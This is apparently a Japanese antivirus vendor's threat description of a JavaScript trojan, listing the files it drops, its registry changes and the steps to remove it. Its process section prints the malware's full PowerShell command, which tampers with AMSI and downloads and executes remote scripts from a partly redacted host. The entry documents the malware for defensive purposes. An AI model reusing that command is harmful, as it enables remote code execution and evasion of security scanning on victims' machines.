Trojan.JS.ACSOGENIXX.VSNW1AI24
Trojan:JS/Acsogenixx.DAA!MTB (MICROSOFT)
Windows
- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化:
- 感染報告の有無: はい
概要
トレンドマイクロは、このマルウェアをNoteworthy(要注意)に分類しました。
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のファイルを作成します。
- %All Users Profile%\r155202fb-fcdf-42d5-ab22-5af524115bd7r.js → Deleted Afterward
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.ps1 → Deleted Afterward
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.psm1 → Deleted Afterward
(註:%All Users Profile%フォルダは、ユーザの共通プロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\All Users” です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData” です。. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。)
マルウェアは、以下のプロセスを追加します。
- "%System%\WindowsPowerShell\v1.0\powershell.exe" -command "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zSN5VNQQ1EQ'; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/hmr8d2p.php') ; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/deodorizedZLzmN.ps1' )"
他のシステム変更
マルウェアは、以下のレジストリ値を変更します。
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
UNCAsIntranet = 0
(註:変更前の上記レジストリ値は、「1」となります。)
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
AutoDetect = 1
(註:変更前の上記レジストリ値は、「0」となります。)
<補足>
インストール
マルウェアは、以下のファイルを作成します。
- %All Users Profile%\r155202fb-fcdf-42d5-ab22-5af524115bd7r.js → 後に削除される
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.ps1 → 後に削除される
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.psm1 → 後に削除される
対応方法
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
変更されたレジストリ値を修正します。
警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
- UNCAsIntranet = 0
- UNCAsIntranet = 1
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
- AutoDetect = 1
- AutoDetect = 0
手順 4
以下のファイルを検索し削除します。
- %All Users Profile%\r155202fb-fcdf-42d5-ab22-5af524115bd7r.js
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.ps1
- %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.psm1
手順 5
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.JS.ACSOGENIXX.VSNW1AI24」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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